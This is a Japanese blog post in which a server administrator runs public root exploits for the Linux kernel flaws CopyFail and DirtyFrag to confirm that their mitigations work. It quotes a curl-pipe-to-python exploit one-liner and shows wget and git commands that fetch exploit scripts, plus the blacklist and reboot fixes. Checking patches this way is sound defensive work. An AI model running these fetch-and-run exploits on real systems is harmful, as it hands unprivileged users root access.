0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【脆弱性】CopyFailとDirtyFragの脆弱性を修正できたかexploitを実際に試してみた

0
Last updated at Posted at 2026-05-18

2026年4月末からLinuxカーネルに権限昇格の脆弱性発見が相次いでいます。

脆弱性の概要

CopyFail

algif_aeadモジュールに脆弱性があって、ローカルユーザがrootになれてしまうという脆弱性。

https://www.walbrix.co.jp/article/copy-fail-cve-2026-31431.html
https://note.com/zephel01/n/n7fa6564b43cf
https://note.com/t_ak66/n/n8efe16e250d9
https://qiita.com/fiord/items/e568f199e5753d3bb1b2

DirtyFrag

esp4・esp6・rxrpcモジュールに脆弱性があって、ローカルユーザがrootになれてしまうという脆弱性。

https://www.walbrix.co.jp/article/dirtyfrag-linux-lpe.html
https://note.com/t_ak66/n/nded0d9e87c2d
https://qiita.com/harupython/items/f877d277a209abc86c87

対応できたかどうかわからん

自分が管理しているサーバも対象だったから対応しないといけないっぽいんだけど、解説を読んでもよくわかりません。
とりあえずmodinfo algif_aeadでalgif_aeadモジュールが入っているかどうか調べようって出てくるんだけど、試してみたら出てこなかったんですよ。
だから大丈夫だなと安心していたら実はそうではなく、Redhatはカーネルに組み込まれているからmodinfoに出てこないんじゃぞとかなんとかかんとか。
どうして一発で調べる方法がないんですか?

対応方法もrmmodすればいいよって話があったと思ったらrmmodじゃ駄目だmodprobe.dに入れろって話があったと思ったらmodprobe.dじゃ駄目だinitcall_blacklistに入れろって話があったりたいへんややこしくてよくわかりません。

そんなとき、実際に脆弱性の対応ができたかどうか確認したい場合はどうすればいい?

そうだね、実際に脆弱性を実行してみればいいね。

ということで公開されているexploitを試してみよう。

exploit試してみた

CopyFail

copy.failで公開されています。

公式ではcurl https://copy.fail/exp | python3 && suでexploitを実行できると書いてあるのですが、これだと中身がどうなっているかわからないのでちょっと怖いですね。
これ自体がただの検証ではなく実際にデータを剽窃するようにハックされていてもわかりませんからね。
ということでGitHubから実行することにしましょう。

[hoge]$ wget https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
[hoge]$ python3 copy_fail_exp.py
[root]#

なんの権限もないユーザが突然rootになってしまいました。
やべえ。

Python3.10未満の場合

この脆弱性はPythonのos.splice機能を使ったものだということです。
これはPython3.10で導入されました

従ってインストールされているPythonが3.10未満だったら動かないかと思いきや、なんかそれ未満のバージョンでも動くexploitが公開されていました
試してみましょう。

[hoge]$ wget https://raw.githubusercontent.com/danielino/copy-fail-CVE-2026-31431/f1d8d78e9eaba64f4b45b4e86651096958d068ef/copy_fail_exp.py
[hoge]$ python3 copy_fail_exp.py
[root]#

Python3.9未満でもrootになってしまいました。
やべえ。

DirtyFrag

DirtyFragはhttps://github.com/V4bel/dirtyfragで公開されています。

[hoge]$ git clone https://github.com/V4bel/dirtyfrag.git
[hoge]$ cd dirtyfrag
[hoge]$ gcc -O0 -Wall -o exp exp.c -lutil
[hoge]$ ./exp
[root]#

gccが必要なのでCopyFailよりはほんの少しだけハードルが高いですが、普通にrootになってしまいました。
やべえ。

対策

DirtyFrag

こちらはmodprobe.drmmodで対策できて、サーバの再起動も不要みたい。

[root]# printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf;
[root]# rmmod esp4 esp6

[hoge]$ ./exp
dirtyfrag: failed (rc=1)

exploitが動かなくなりました。

対策できたようでめでたし。

CopyFail

よくわからないけどinitcall_blacklistとかいう設定をしてサーバを再起動しないといけないみたい。
modprobe.dも一応実行したんだけど意味がなかったかもしれない。

[root]# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

[root]# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" 
[root]# reboot

[hoge]$ python3 copy_fail_exp.py
Traceback (most recent call last):
  File "copy_fail_exp.py", line 71, in <module>
    c(f,i,e[i:i+4])
  File "copy_fail_exp.py", line 47, in c
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
FileNotFoundError: [Errno 2] No such file or directory

exploitが動かなくなりました。

対策できたようでめでたし。

その他

上記のexplopitが成功すると、suコマンド自体がおかしくなります。
別のセッションからログインしてsu --helpとか打っても、ヘルプが出ずにrootになれたりします。
やべえ。

実験後は必ず以下のコマンドを打ってキャッシュを削除しましょう。

[root]# echo 3 > /proc/sys/vm/drop_caches

感想

カーネル更新しろって?

動かなくなったらいやじゃん。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?